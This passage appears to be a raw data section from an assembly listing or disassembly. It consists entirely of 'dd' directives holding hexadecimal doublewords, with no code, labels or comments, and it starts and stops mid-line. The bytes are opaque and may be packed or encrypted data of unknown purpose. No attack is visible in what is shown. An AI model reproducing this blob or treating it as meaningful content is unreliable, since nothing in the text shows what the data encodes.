0F20ABC6Ah, 596F0028h, 9177AA45h dd 0DC0A3281h, 0D431A2F1h, 0AFFDDA00h, 0C02F2133h, 0F4411C10h dd 4A00F632h, 0CAD54282h, 81F3DFh, 0AA78316h, 0B88C1C62h dd 0F0637500h, 86D51B61h, 0D87D6Dh, 7F260628h, 2775ACBCh dd 0B4E3B900h, 9B71C8CDh, 2F4F00AAh, 0FF1D4404h, 0AB09F790h dd 80BCA168h, 43972C50h, 0C3800CAh, 7E0633D1h, 0AB003B2Eh dd 2C1F9DFCh, 0E13EAh, 0B897CBB6h, 4893FD0h, 5A694112h dd 8CD88C00h, 38EBD2h, 0F3EEBBE3h, 3BE0C44Dh, 0F8C1B900h dd 0E5701784h, 288A76CEh, 0FA8C7445h, 15CF07CCh, 0D0BB40FCh dd 92B41F36h, 28D3D500h, 9E7CD8BDh, 40460071h, 563A6411h dd 0E9E86E8Eh, 2FFB150h, 0A5812900h, 0FB8385ACh, 74D6002Ah dd 62D9BE43h, 3C24142Fh, 0AB00A418h, 12801317h, 0BD7F1DCBh dd 0A72F40F3h, 4EBEB8B7h, 92AB3800h, 0C7185AA0h, 0E1EE0Fh dd 1C7550A9h, 0E7497009h, 97719600h, 39F81135h, 0FFE20026h dd 0EA0BB64Eh, 8C9AD8BFh, 13C5D48h, 0D181062Dh, 0F6C8FAF8h dd 0C907008Ah, 4853B7B5h, 2500934Fh, 0F1FBCB28h, 28C5BD4Dh dd 0E06E18h, 516E699h, 0D96C03C4h, 0F576B900h, 0D27AC2Bh dd 1BDB0F41h, 68048B8h, 0E3E44DAAh, 5E00DC77h, 0C633030Fh dd 90EDBBEh, 95B08FD4h, 4F05F280h, 6800EC98h, 0EAA48589h dd 146150h, 0B5D4C8E8h, 0FBBA0FD2h, 0F97583F8h, 1875E705h dd 5D809306h, 299D81h, 111035A0h, 0C999199Fh, 23E3F200h dd 5E7E57F6h, 6CE700FDh, 42EC3F72h, 76ECC5E2h, 0F504D00h dd 0C3E31CF5h, 57000FEh, 0DCDE8EE9h, 0D93B0669h, 0C6F4A854h dd 4474F11Fh, 0C0523540h, 6B36D3h, 534B4310h, 89D17516h dd 29EA6D00h, 42684098h, 0C632016Ah, 9BEEDAE4h, 0E8E9ED3Bh dd 842CE876h, 7C00BC1Bh, 0E32FFC11h, 0A0C90EAAh, 7B608C81h dd 0DC063E76h, 0A6B64200h, 5982C2BBh, 0B88A729Ch, 0C7FC8Dh dd 462644BFh, 0BB2D4C01h, 320A8600h, 0EAA5A469h, 44F4F0h dd 979C9372h, 0A31E2ECEh, 0BDB85B01h, 543358A6h, 241D1D8h dd 677CE821h, 80C04504h, 0EF02A827h, 0C1731A79h, 0E912E022h dd 45E00076h, 8A334675h, 0B60443BDh, 229BB0CAh, 0F7CB6080h dd 925F7FB5h, 0F2950154h, 98571FCEh, 0E8E070DEh, 7E013E00h dd 0BC71E6F8h, 7B47031Eh, 0D0292715h, 33B79AF8h, 31006279h dd 6F464D85h, 964F01h, 0B1650F2Eh, 5013CA4Bh, 335A0E00h dd 289D80B0h, 93A1393Eh, 0FFECC900h, 54175E32h, 0D3DB2B07h dd 2AC174D4h, 0D7C3B5FDh, 0C0D28031h, 28EDE883h, 5E80A714h dd 11005703h, 0C793D895h, 63FC9781h, 43362994h, 0C40FA4C9h dd 0E803AC0Dh, 0FA62BD0Eh, 0CE38D8C8h, 0B0D709B5h, 73008337h dd 0A6719B61h, 0B2139EE6h, 54026EA1h, 60D30239h, 0EED1E357h dd 1AA0018Dh, 0FDBEC4CDh, 6C806077h, 17725D00h, 91D535A3h dd 5FAA24BFh, 0D0190214h, 0C681DB01h, 60B03A1Eh, 590EF1BDh dd 40536D6Eh, 2CF6E715h, 0E0924D41h, 12FEAA00h, 97E2F493h dd 0A9C5DA00h, 801B3FF6h, 0E200049h, 848B6C77h, 81098FFEh dd 4FDF1FFh, 2CC1AF38h, 0B8D8AE7Ch, 0ABDC00F5h, 18221A11h dd 1B387A4Fh, 6789803Eh, 0E4C1A477h, 0E64C005Dh, 0AC9FFC21h dd 3A0183F5h, 0EEA8F394h, 82810F3Fh, 0DFDEDD2Dh, 4B68EC60h dd 2843D20Ch, 98E06Ah, 551299CDh, 2854522h, 0EEBCF603h dd 0D88279F8h, 0E22516C3h, 949901E1h, 41F91C2Bh, 2731F8FBh dd 90A19A00h, 86FCFF9Dh, 0EEA3EE03h, 0B84907Ch, 93F7092Ch dd 0BF6F202Eh, 6AC5CF20h, 651240B6h, 690BB8C9h, 98EF813Ch dd 14705E5Dh, 0DDA700D6h, 1CF7D522h, 0C303D0D9h, 0AD5BCF0Ch dd 0BBB7C8BAh, 9D540A95h, 0CCF1DBh, 27B33D65h, 0D17C80E0h dd 3E14D00h, 73A645CCh, 1E8D004Eh, 490DA194h, 8900E55Fh dd 0CE1F84A8h, 0BACC95h, 0F92AE951h, 1E154768h, 0D5BC5800h dd 95781174h, 76CC9860h, 0B7790067h, 3A738908h, 0A1003958h dd 22984EF7h, 26144FB9h, 0BCEAF4h, 947213Ch, 0E260CEB5h dd 0F871551Ah, 1FD706BDh, 0B8517E5Eh, 143E6126h, 0C88C6362h dd 927EBFF8h, 6B832014h, 88E25A04h, 30A0FFEFh, 0E88503B7h dd 4BB0ABD4h, 84845899h, 647FDC50h, 0F4FFD888h, 441B00A0h dd 12BB2FB2h, 5F0725CDh, 330585F3h, 9041FC43h, 3F23FE13h dd 6800D526h, 0C3C986AAh, 0EC304990h, 1B3550C1h, 31471B77h dd 0FD080F7h, 6D00D543h, 0CFA89A7h, 1C564523h, 7D9C46Ch dd 0F0AEB73Ch, 0FC0D66BCh, 72BAA700h, 0A81E4AF7h, 0B60600D9h dd 61A5C5EBh, 0FF002D92h, 4DFB5D3Eh, 99D10D3h, 6F3B622Bh dd 0B2543981h, 8575F806h, 8DAA7600h, 1CFF416Ah, 0B5120064h dd 8C5E305Ah, 0DB00CC7Ah, 6F347983h, 17EC02BCh, 20BAC105h dd 0BB6C2D20h, 6E7A2802h, 0C0C7314Eh, 0B05212AAh, 0DB5BA0BCh dd 9AFB2403h, 17410068h, 876F2272h, 0B9B52D00h, 764DACF1h dd 0FA9D00BFh, 80DC4CDAh, 0CB71EA7Eh, 8D746017h, 0C707A801h dd 8BFC941Ch, 2D51FC0h, 1384350h, 0ECB01F21h, 0E3000519h dd 62883D47h, 5CFE96h, 3C98AFCBh, 4A455EF7h, 150E258h dd 0C8E302BDh, 0EAD881FDh, 43240038h, 0F7465052h, 237862A2h dd 0F4CAAB00h, 0AC8725FEh, 0DD5B00CBh, 1EB5BDC9h, 0A300F7DBh dd 0B1937846h, 0BDA82407h, 0BDFCC600h, 0FB1F3C6Fh, 0BD6EFD0Fh dd 0C028840Eh, 0E769D7FFh, 835500C2h, 61DB70A2h, 0D8001B1Ah dd 70AB75Fh, 0E5A7E36h, 6B304152h, 8CA8C463h, 0E3B269C0h dd 5C32AB0Eh, 0FAE9202Bh, 704CC2Eh, 28F77A89h, 0EEB91095h dd 1A005765h, 0BC98E10Bh, 15054EDh, 6A09673Dh, 0DCD2332Ch dd 0F405E869h, 0A0F20A76h, 114ED7C0h, 0DD46008Eh, 7D62EBDFh dd 0F0EB7EEDh, 4A588D59h, 0BFFE7AB9h, 0BB40A426h, 51B0B300h dd 7891BED0h, 0E093A0EEh, 0C9EC075h, 0F6959293h, 263ED407h dd 0E8E30167h, 0EC24C8ADh, 95B00CEh, 0EA2B80C7h, 56009D18h dd 0BC41DBB6h, 70AC669h, 0C0F9E077h, 0D47EF001h, 0EA01D6D7h dd 0A39DE7ADh, 0F838A9CCh, 92B5EC00h, 867016DFh, 0F3A0B90Fh dd 49C8A298h, 0C044C8FEh, 87750BCFh, 0C680DD95h, 848E3319h dd 5DF5FF12h, 4FA0D400h, 77CE6B2Ah, 9A076027h, 0D38FC211h dd 4D00F4B0h, 7971C919h, 27010E1Eh, 1804B9FFh, 7C30A06Bh dd 6C0A0900h, 0C36E18C2h, 24A71EF8h, 0C8CD0037h, 13A864Bh dd 170095B8h, 0D20D50A5h, 665D4Ch, 0F55A3915h, 1911ADD0h dd 2AC16C1Dh, 0AA96841h, 58E4C616h, 0FC030095h, 0DB6D205Bh dd 0A51F53B3h, 0EE8F9364h, 0D5CA1ADh, 0ACC8AF36h, 0BF9C0096h dd 5FDDD791h, 6005DAAh, 4333CCF8h, 98404A93h, 0BBEA07A8h dd 2079DB73h, 130F8062h, 0EF432800h, 6382D8F5h, 80A00CAh dd 77DBCF20h, 0BF095F29h, 80F24CECh, 0E87C8774h, 788C9A31h dd 0A7A60308h, 0D2B67B29h, 22CBFFC0h, 0AA946C03h, 0D0D1381Eh dd 14DECE49h, 0E05459CAh, 0C4262405h, 0EBE0797h, 564D044h dd 0C51CFF23h, 8E80894Eh, 0FB0963D1h, 0D26F00DDh, 0EE180F4h dd 0AA00462Ah, 72E9BD8Fh, 1FCE9334h, 0EC713D55h, 0C4681E94h dd 0C14D970Bh, 80C56B9Ch, 2237DF58h, 38D37A77h, 0AA000BE5h dd 9B4FEF6h, 8228648Fh, 0C202E067h, 6B0C5FADh, 0E6708065h dd 232D6BEh, 17ED0944h, 1C40FC93h, 5E12E5C2h, 2443193Dh dd 811A6A89h, 108060ABh, 0E205886Bh, 624F4F1h, 0BC00202Ah dd 65876DF6h, 0AF3C0358h, 0BA6AF7B6h, 482C8854h, 1FF25F72h dd 0C27D337Ch, 0FAB70600h, 5ADF84Bh, 8F870F0Ch, 0FFE0CB1Dh dd 9B6D7A6Eh, 6AB00900h, 0CF4E0719h, 5DAD003Ah, 1F6F595Fh dd 990E6E13h, 4518432h, 1C809FA4h, 5BE8Ch, 4E24E72Eh, 383A36F2h dd 3F507E00h, 1CE2DFF0h, 0D09D00A0h, 461D2BFDh, 0CB13D86Ch dd 50007E2Ah, 2C7BB439h, 1B740013h, 43257753h, 6B90BF0Ah dd 90ED1903h, 0B8BC997Ch, 6C7A95h, 8C786167h, 0E2C0821Fh dd 0DC6A0E01h, 0ED471117h, 7E73C0EBh, 0AB6D05C5h, 0E83AB73Eh dd 767C000Fh, 472D583Bh, 1F2825B1h, 0EBD12000h, 8C004414h dd 0D9B9C272h, 84B85Fh, 0EC7FFDCAh, 0CCBD9256h, 0F11CD70Fh dd 0DA6740A1h, 3B363A8Ah, 0A700EE99h, 0BD7CB497h, 4F3F2F9Dh dd 117500C9h, 531D674Ch, 7CB06Ah, 0B989C6AEh, 1A157178h dd 1990D300h, 0AAE53E2Ch, 7E4007Ah, 9AC793D6h, 0C916E3AEh dd 0E804EA41h, 0E4C83FD3h, 0D183B5Fh, 8A386E80h, 0AB6F27F1h dd 5746FC00h, 5B8E34A5h, 0A4840789h, 87D46A91h, 68BE513Ch dd 56FF085h, 59B9AF00h, 2FA40F4Eh, 0DEC00039h, 0D9FC2E77h dd 60065A6h dd 0E6CBBE7Ch, 89F3F9h, 611E8E02h, 87A41C9Ch, 130BDB75h dd 87DFCEA8h, 2CA06873h, 1484449h, 0E3D34517h, 6016C81Eh dd 0A406830Eh, 695C1537h, 403C0128h, 0B6F1509Fh, 72DBFC98h dd 575EC00h, 929A674Dh, 0A8FAEFh, 5FDA15C1h, 329359E9h dd 0ED279600h, 0F91C85CFh, 0D4C600FDh, 0F38B6E53h, 0AE0EB43Bh dd 0AE552BD9h, 0B180E05Eh, 7DA4F4h, 0D4BC569h, 499EDA94h dd 182A6C00h, 0BD368B91h, 0D7D10E53h, 409F6522h, 0F5C1AA9h dd 6E00A440h, 0C2B42BF8h, 25AB38h, 0D60B3455h, 28DC7A8Eh dd 23ED6600h, 0E750AEAAh, 0B471009Eh, 7849F46Eh, 700EE9Fh dd 36152801h, 433A60h, 0B69AEF04h, 8AC639FFh, 5070E71h dd 0FE0F587Eh, 8EA2FBD0h, 0DFE4007Bh, 11E813B3h, 63A9DB4h dd 8199E13Ch, 30808F35h, 71520919h, 8CE0E86h, 80DD8185h dd 21BB8EDAh, 0FF120580h, 4D76435Ah, 3C008F74h, 0A5BDAC45h dd 73FD9D89h, 0DA250022h, 0DF0595D9h, 4D798B32h, 7F4C6F17h dd 8F3B6001h, 988EB5F3h, 0B198C52Eh, 78C09A57h, 363FE031h dd 0B7930097h, 0A4824210h, 530719FDh, 0DAAA8066h, 0CB439950h dd 0DE30FF14h, 9148CC28h, 0DC1D5040h, 7C401162h, 642FFFEDh dd 0CC260003h, 1AFBB648h, 9E00134Fh, 0E6FC1B92h, 1EC80Ah dd 0A093C4E0h, 0E967B337h, 0F599FB00h, 8FF8A4E8h, 770D0061h dd 87E1A654h, 0D200FDA1h, 0CBDAE7B8h, 0D0A36ECFh, 0FE2BA8A0h dd 0D0ED004h, 0B9101B67h, 358BE960h, 0FA6500A8h, 7D5D46B3h dd 811FFEB2h, 0D7002B43h, 5B72D9F1h, 0FF5C007Ah, 0A7FBE437h dd 0BA0C7E91h, 99AE03EEh, 367B0DF2h, 0D05076DDh, 808BB8D9h dd 0C12A0F17h, 0A9B51481h, 3294411Bh, 17E860D6h, 2B6A1A00h dd 565299DFh, 0AEE71D08h, 0F9E5D9A6h, 6918DFB4h, 0DBC14F0Eh dd 0EE2130DAh, 35395119h, 0F56D660Fh, 5A0D22B2h, 3370900Fh dd 2458727Dh, 3E0C7834h, 27436703h, 0E82213C5h, 0BDB21F2Bh dd 7BA10077h, 1711A6DDh, 58890876h, 0A255D2FCh, 284C10A8h dd 8E320E18h, 51A4FBA8h, 6D8088FAh, 5221D73Eh, 96690394h dd 6F8DFD2h, 0CE902EA8h, 3407387Fh, 0AFCF52DEh, 83FD51C0h dd 2FA74403h, 94DB2000h, 8EDE152Eh, 0DF453A26h, 0E921C030h dd 0F402D407h, 0F09CD97h, 39ED4010h, 31FE058Fh, 10DDA1DEh dd 0C1B82CB4h, 0AB81078Ch, 0C033B801h, 3B402FD6h, 561E8418h dd 17C55B8h, 5BEBFE0Eh, 241558F8h, 90007938h, 0C7510268h dd 66990E43h, 210D08CFh, 68CC5A00h, 0E0397609h, 651F0F9Dh dd 29A1CE3Dh, 24A7FAAEh, 5D0919DCh, 718A0D2h, 0D2AF5628h dd 0CF82504Eh, 295BCC15h, 0BA5A263Ch, 716A0130h, 98E2D37Eh dd 0CF218708h, 0BE7A0Ah, 0FF54F6B9h, 0FB504789h, 0A3143Eh dd 8BEC903Ch, 1F4BAD9Ah, 41CAA85Ah, 0A7794755h, 0F6E091FBh dd 8510193h, 53429751h, 0B9738170h, 0F568CA00h, 0CE41BBE4h dd 0B72E2AAAh, 0C5481EACh, 89B0350h, 0E0BF47E9h, 57CBE5D2h dd 87071572h, 0F859492h, 48B62F81h, 0CF65F080h, 9BC94C52h dd 42701E00h, 60D5A208h, 84FD009Fh, 5B78A7CEh, 9C71164Fh dd 0A10E0407h, 65C0C267h, 0F959DBBh, 0A48AD7E2h, 788B4960h dd 0EF0068E7h, 392B8516h, 0E363FFh, 81D2668Fh, 0A5ADC7CEh dd 3324840Eh, 3CC523E8h, 53789871h, 55A000FDh, 623EDE3Fh dd 4100CE92h, 0D03097BDh, 1F842E9Eh, 83FC73EEh, 0C50C56A4h dd 0BA85CBA0h, 0E8707A1Dh, 61098F80h, 3993ED9h, 1497691Ch dd 75E004E7h, 2707828Eh, 195FA2E9h, 0D8B01240h, 0E7AA1DFFh dd 9BF3C021h, 0EAD57CA5h, 0E7B2306h, 6E88402h, 3C617566h dd 0A12A509Fh, 0D6008006h, 7F056F8h, 0F3DEF79h, 21451948h dd 2C41F940h, 503E8EBh, 0B6CC1131h, 7B24F88Fh, 44220269h dd 4AA9AA6Bh, 7C0070FCh, 0DE6C0317h, 610F00A4h, 0E71F4439h dd 0DB0651D6h, 772972C9h, 3153008h, 0E61D3D20h, 0F6B57F26h dd 0A37A0900h, 71C1AA93h, 0A9590181h, 0F94B3C10h, 4552D87Dh dd 8F43392Eh, 0BC857907h, 399684Ch, 1534CF3Ah, 0F9C94678h dd 0CC089868h, 5D3BB21h, 367CBFCFh, 0A647C39Ch, 0BDC343FAh dd 5508862h, 0CF661889h, 0D815C811h, 0FF82CD88h, 809CCFDEh dd 0C6BCD99Dh, 987F13A7h, 4CDE003Bh, 70A9A3AFh, 760893Ch dd 26E727E2h, 741839D6h, 0E90A05Dh, 9C090E2Dh, 0DA007C23h dd 0A9A55A20h, 151546E6h, 10A826C4h, 41DFD1D2h, 2B4A64E6h dd 0C07C0C8Dh, 0E6036721h, 3001A920h, 0B64BF44Dh, 78802545h dd 0B9DF266Bh, 10C020E1h, 23AC338Eh, 0F287057Dh, 80C7D7A5h dd 5C446AC3h, 2E3B04FCh, 0A435BD4Ch, 9C00D3BEh, 1DB30AEh dd 0D64E00D1h, 132D0A66h, 8E00959Ah, 630FDF73h, 757FB041h dd 379200CEh, 348BF4E1h, 0DB39E776h, 0CDA900FEh, 55F9E948h dd 0CACC00BAh, 4197CF50h, 8705C719h, 27D80674h, 1434D6C0h dd 21C00143h, 0DFD06395h, 6E588367h, 0A01B3152h, 0C05DB56Fh dd 7711DB38h, 3A000470h, 18D1458h, 7C3BE87Dh, 67630075h dd 0E7827A93h, 0A17937A9h, 292039h, 16838A2Eh, 0B4BF51h dd 644887B5h, 496E485h, 0F09BFA00h, 0D3805746h, 0A35F3178h dd 83F5C499h, 0CC18F49h, 82F00C67h, 0BD1905E9h, 80B80D6Fh dd 5A04CAF2h, 0C3BF01C0h, 3DDC0940h, 14AC60DEh, 4C8A3106h dd 3389EA0h, 247C7D22h, 0ECB8B8F5h, 6C0026B5h, 0C4F09D23h dd 0EFF6714h, 0FD98D932h, 103486C2h, 0F03B44C1h, 0BF004AE3h dd 0D04DDE18h, 75094h, 809D6104h, 74780839h, 92976800h dd 0F51765Bh, 62AC1E5Ah, 0D7454015h, 0AD9BA834h, 36DF0E00h dd 0F6C6D222h, 270F009Eh, 97E7E9A5h, 0FB0918ECh, 805FC219h dd 4FFD1CCAh, 0DFE139B2h, 47828A80h, 2FFF34BCh, 24746903h dd 0B0B8E411h, 1C0A3F8Fh, 0C3931E16h, 0F456DA91h, 29B906E8h dd 9A007B78h, 38A428DCh, 7DE99D4h, 48FE0A15h, 44400E90h dd 677ACA33h, 0C2175000h, 1EF48A4Eh, 804F01D6h, 72116CA9h dd 7FEF20C8h, 67E7A700h, 0E39F2CD7h, 8805002Dh, 0F11A3ECBh dd 0A67FF84Fh, 0EBFDE200h, 471D7CD5h, 0A8E61CFAh, 74EE8E6Ah dd 3ADE0580h, 9800D76Ch, 494826E8h, 0F736EDh, 86D05576h dd 0D904080Fh, 8CB75F00h, 0F4195703h, 626B01B2h, 8F866B0h dd 2B7FC9D2h, 0ABCD9DA1h, 84BD2990h, 515FB0EFh, 0B41E11A0h dd 7F04A121h, 8008F71Dh, 8D270E41h, 13106502h, 4451C852h dd 22B5A342h, 0FF22F7A9h, 4382547h, 4A82DB50h, 810814CDh dd 82FC904Fh, 46F751Dh, 648C2171h, 14F07994h, 226D8911h dd 9D590075h, 0CCF69E91h, 2300394Dh, 0B64FEB79h, 0F978E1h dd 1918E3E6h, 3E92C164h, 3B5B0D00h, 1C90A758h, 63C7005Ch dd 0A1F07A73h, 553CB40Bh, 0B7CC00BDh, 2507F23Ch, 0CA1A3836h dd 8E5FAD00h, 270A87C4h, 80A5AC3Fh, 35B3105Dh, 0BE21C2h dd 0AAFDD133h, 94B5A9D6h, 0F2C7B60Fh, 0CBDFC01Eh, 28CA347h dd 0BDF5B72Bh, 7EC0016Bh, 0B100D307h, 0D84EE667h, 332852Fh dd 61784992h, 4CC0DD44h, 2FB80D1Ah, 7D6E6D0Eh, 4E29606Ch dd 0A09D4Bh, 0EA965C23h, 0FD191E22h, 0D6E8FF00h, 4681076Ah dd 93AE019Dh, 0CA24CF5Fh, 420C30B4h, 96AAAB00h, 7DE18EF7h dd 19B90078h, 0B82B3661h, 0E303696Ah, 530EEA68h, 169800D8h dd 3BBDC337h, 0AF29608h, 0B28D300h, 6F02C9CBh, 0DDB700DBh dd 0F71FF547h, 6400B9A9h, 2FA8E3A7h, 139AEAh, 0E34299Ch dd 21E5D46Dh, 43C3AE4h dd 943980D1h, 85A1E1DBh, 0E81900F2h, 7338CCF3h, 0FAE81C78h dd 0E2241F00h, 0B151A31Bh, 0FF7900B6h, 0BD93198Eh, 2A1FB7E8h dd 704098F8h, 1BD3ACD5h, 0EA133F84h, 4F9CC281h, 0D8D40AD9h dd 0A600833Fh, 0F0B2090Eh, 1EFA0338h, 499C67EDh, 0D95E4751h dd 964BB500h, 71D7E979h, 8A23007Fh, 0BD59740Ch, 61072140h dd 0DB8EDF2Ch, 6BA31D10h, 3EFE7D19h, 5200F2BBh, 0A105EE0Fh dd 0D7002A5Ch, 68B8A532h, 6A0DCFh, 9C2D5722h, 1581A705h dd 0E6BD0400h, 234CF725h, 6F7D0042h, 4FE2C0E8h, 37076079h dd 0FBA9E6DBh, 7E15FE50h, 51690358h, 98B3CEC0h, 0D4ADC498h dd 0D66AD000h, 7A12DBCBh, 3D9060h, 0BF6E2B3Fh, 8D0798DDh dd 1A356200h, 15F7E896h, 0A3A10069h, 0E2233CEFh, 0B64C815Dh dd 0D9CE00BCh, 21395589h, 84124807h, 76785800h, 2E019A38h dd 0FE3A5900h, 0DB0F80C9h, 370B1213h, 281440CAh, 2750EADAh dd 9B1CED00h, 4017A0A3h, 0D152123Ah, 0EA10071Eh, 5C8D238Ch dd 51D0AFDBh, 0B43C4C37h, 0DCE1016Fh, 0A7AA2C66h, 586CE5D8h dd 0D1003870h, 3DB2920Ch, 0F13A8812h, 0D6B780CEh, 0FAECF2D0h dd 145112CAh, 34AC00B2h, 923D9AF0h, 5E55F8F9h, 0BE284800h dd 0A462262Fh, 76F0006Bh, 0CCCE80D1h, 3100C266h, 85813608h dd 0FAF5DFh, 0B8E0A9Dh, 8644039Bh, 4918A60Fh, 0A529A097h dd 0CD6A0Eh, 0C08F2F4Eh, 0D2315072h, 822D4200h, 0FA076F91h dd 0AE670003h, 3C024A01h, 2400E39Eh, 0C350D933h, 25DE04h dd 6C889BE2h, 1D19784Ch, 4F8AEB00h, 0F2DCE502h, 526A0FB9h dd 0D2A04E92h, 762990C9h, 81A0973Ch, 50B5E9DCh, 37DC01F3h dd 7CB1009Eh, 7F842F1Ch, 801D858h, 6A516291h, 0B08170CBh dd 0BA849DEh, 80C42052h, 951B1D00h, 0B54A3E58h, 7E1900E0h dd 390CA00Ah, 8000B857h, 438230Eh, 25F5C3h, 0C4C24548h dd 1E41790Bh, 6AABB11Dh, 0F1FD8500h, 35EE6Fh, 0F53A7B18h dd 2DD58081h, 0AA895300h, 0CAE2371Eh, 69A90FF8h, 1C008C5Ah dd 3FD876D3h, 0DC5139h, 74490A56h, 0FCAA7186h, 0B4D200B0h dd 892C728Eh, 9700A7C1h, 2FFA2C4h, 0F417EAh, 0D73A91BFh dd 4E25CA0Fh, 214CE900h, 7CCB8272h, 57D500B3h, 0F3480A98h dd 0D603413Ch, 50CC289Bh, 0C04A82CBh, 7593AF4h, 8344C17Dh dd 188399AAh, 45B880EFh, 8100F7CBh, 0FE3F5F6Ah, 0B5DF2C0h dd 0EFB57BA3h, 0B963ED07h, 0A67E6082h, 9C110848h, 8A00B7F0h dd 8D78EF9h, 543EFh, 85E47B70h, 4268D169h, 0DE099A00h dd 0B1B389E8h, 0D3A20088h, 0DC207B1Eh, 0C5262684h, 4607F4F3h dd 1FA0A634h, 7EE1CD0Ch, 20E80F7Fh, 0EE80FBACh, 1CEC1D97h dd 6F272200h, 0A9B758D9h, 0BBF304DCh, 805ECBA0h, 0CA6C43C0h dd 0A375260Fh, 5598FED9h, 0DBD818h, 61ECC9DEh, 3101847Bh dd 87AF2000h, 0A1664FE8h, 36683D29h, 65787000h, 7B02D49Fh dd 2D018B71h, 0A8F5BDCCh, 0B6F4FA12h, 27801209h, 0DE5F0003h dd 2AD4B794h, 4A2F3812h, 92048800h, 4800B7Ch, 611C59CAh dd 0C9E8805Ch, 70045DEh, 0FCBA6340h, 3A77D332h, 71804705h dd 53C6AF39h, 990F248Bh, 0E59AE986h, 89C0BDBFh, 11B7A9h dd 263F125Dh, 9AECB2B1h, 233D70Fh, 277B408Dh, 0E41882h dd 24104540h, 5D6A851Ah, 84A0B200h, 0FCC89FEFh, 1CFA7B3Ch dd 8079D41Dh, 67BF11E9h, 9D002215h, 1E3AFD70h, 1CBD1A6Ch dd 0BC2EEAFAh, 724FD400h, 76E2AEC4h, 0BA182000h, 349804DBh dd 0EB060082h, 2936ADAh, 0EDEEBFE3h, 83DF563Bh, 8BA32E52h dd 0B75C3D60h, 6A1F5C00h, 0FE32E37Eh, 0A7724200h, 442702F2h dd 0D4ECF1D7h, 0D88B01E0h, 76A57EDCh, 9D4EF848h, 511FA2EAh dd 0EC413009h, 91CE6532h, 3B6B47DCh, 0C1807749h, 6EAB73CCh dd 6F00F36Dh, 9953EE63h, 8D1AC3h, 0F089C44Ah, 0F3B82745h dd 0B419600h, 14EE0809h, 0DA9000D9h, 475DA030h, 5E00B802h dd 0B228F371h, 7A532338h, 0A23C3A8Fh, 977A100h, 95ABE758h dd 0F3CE8500h, 1C8BB015h, 67E624h, 4187FD59h, 0CD05E079h dd 0BFAE8803h, 0A8A5932Ah, 3CAABD9h, 484067BBh, 8000E186h dd 92621DCFh, 430458h, 0CD8A5403h, 6133DDE5h, 3B6EB3Fh dd 1AEDF02Ah, 5680BCEEh, 3E492Eh, 0A6102FC0h, 6303C85Fh dd 3F889D4Ch, 0FC5796ADh, 644DB100h, 2EDEF960h, 30A127EFh dd 81B385Ah, 8905823Fh, 0A3D240Dh, 73003FDFh, 0F081EED9h dd 38227F32h, 0F60E1C62h, 5BC086FBh, 756F70E5h, 36EB8800h dd 332E405Ah, 64E816h, 85B227Ch, 702C27CEh, 0E500F7E4h dd 5D002ADh, 0A7F63Ch, 0C8DE7AFDh, 5B968A33h, 24350A00h dd 25F25446h, 74000B3h, 842D45F3h, 64918A30h, 0AA00BE91h dd 0B5BC7E79h, 0E0003710h, 60014F1Bh, 0E208A1ACh, 0D4803E9h dd 0E7B29B27h, 0D66DD8A8h, 5F62AA00h, 74A2FCC7h, 0A3490063h dd 0F7F646A6h, 590038ACh, 0E28F2D3h, 2BB37h, 43FF399Bh dd 0ABD79CC1h, 87339200h, 167B7280h, 0A90C0099h, 2C5FB6E3h dd 513CA615h, 7454C79h, 0C1BF362Bh, 0B79FB4F0h, 0E7E0098h dd 0DE57EEFDh, 1E076EA1h, 45E58938h, 0FA400B00h, 19D33F49h dd 7FE9298Eh, 783B7C40h, 1090D85Bh, 60CE4000h, 4AB0D5EEh dd 2DCB84Ch, 7CD19F61h, 0D1801739h, 0A8A3BD49h, 0A00E64FEh dd 60752AEAh, 0FB24C21Bh, 0E67E0056h, 9990948Ah, 9009B21h dd 0E4CA4BA2h, 5BCCBC2h, 51C3D35Dh, 0A9B40066h, 0B3860667h dd 97B05000h, 0E7CD1BCCh, 763104E3h, 0C095BA7Ch, 6F1E8C8Bh dd 0DA98301h, 1543AF34h, 46BE30h, 6897824h, 5FC25DA3h dd 0AD3A3575h, 21E3A40h, 0CC4B8EF1h, 0D050406Ch, 1FCE00E9h dd 7E958D39h, 0A8132914h, 0AF03F586h, 0B02F55BAh, 0D53B9Ah dd 0BEA14BFFh, 9097289Fh, 75884C00h, 0D26BEBF1h, 0FA7900D3h dd 0E8BCDA1Bh, 31074A36h, 0D09A4F10h, 73F36750h, 5DA20077h dd 9403944h, 0A3F41449h, 0E30043F6h, 2D1A80C7h, 73867127h dd 156F89Ch, 0A469EB89h, 0D493A254h, 9B3872FBh, 18F280DBh dd 731B4A75h, 5FAA0038h, 13EC2933h, 1600A61Eh, 7E97127Fh dd 0E06BE62Eh, 0B5B40069h, 52642778h, 3E002D10h, 31424C56h dd 7BD624h, 813CE60Bh, 7891778Bh, 98204503h, 80223316h dd 0D3BE35h, 9DAAA895h, 9F4C3C0Dh, 0C10C3960h, 0E32772Dh dd 2A7C4478h, 0B565A680h, 3300C446h, 0DF6173EAh, 973229h dd 8B07F0DEh, 0D1EBA413h, 0CD8E6400h, 62D7A036h, 0D072001Ah dd 17AC221Eh, 0F30049F6h, 435D69Dh, 1F06C203h, 0DCA12A0Ah dd 14EF4043h, 0C6E2364h, 79DF0200h, 0E2594A66h, 443C0320h dd 99DC2643h, 83D1538Fh, 2AFC9A90h, 0D0EA3203h, 80444D01h dd 3E0820h, 1F24B29Ch, 0CB712C07h, 4E00767Ah, 0BFC6E291h dd 25477h, 0E509F659h, 0C7686198h, 9B104E00h, 0E6854249h dd 39F9291Eh, 0D64500BCh, 0CAD27B3Dh, 85C65700h, 1A41C7A3h dd 519F3DC1h, 1590193h, 89FE8F9Eh, 6D6CE4FBh, 6BF6557Ah dd 0BD0020FAh, 67F57C23h, 3C7641Eh, 0F4E9D2DBh, 0DDD8CBB5h dd 3A019089h, 9E6294BDh, 0CEC01553h, 749A0E46h, 364D23Ch dd 2680AE6Ah, 2A8AD9h, 1141438Fh, 0EEE13C48h, 0A5B0F81Eh dd 9A295D40h, 24DBBB55h, 4857E5h, 64523BB4h, 1913A3B5h dd 0BC004440h, 329704C6h, 0EB70113h, 78F8F6C7h, 0D8F8EB61h dd 5000363Bh, 7F882207h, 554163h, 0B28E40F0h, 0C42116A9h dd 4C6BC300h, 0EAE19EE4h dd 0B9110B12h, 12001AE5h, 8D173C94h, 0C7C1921Eh, 16C0A11Eh dd 0EC15F874h, 1CBD000Dh, 7B98DF26h, 0CD00AFB0h, 857A45C0h dd 760CCCh, 5018122h, 0DAEFBFB5h, 75E83C50h, 77983476h dd 3F1F1E06h, 0EA882814h, 0E3861F03h, 2F5C008Dh, 9DD9A71h dd 0EB66410Ch, 1C7E811h, 0F52E2430h, 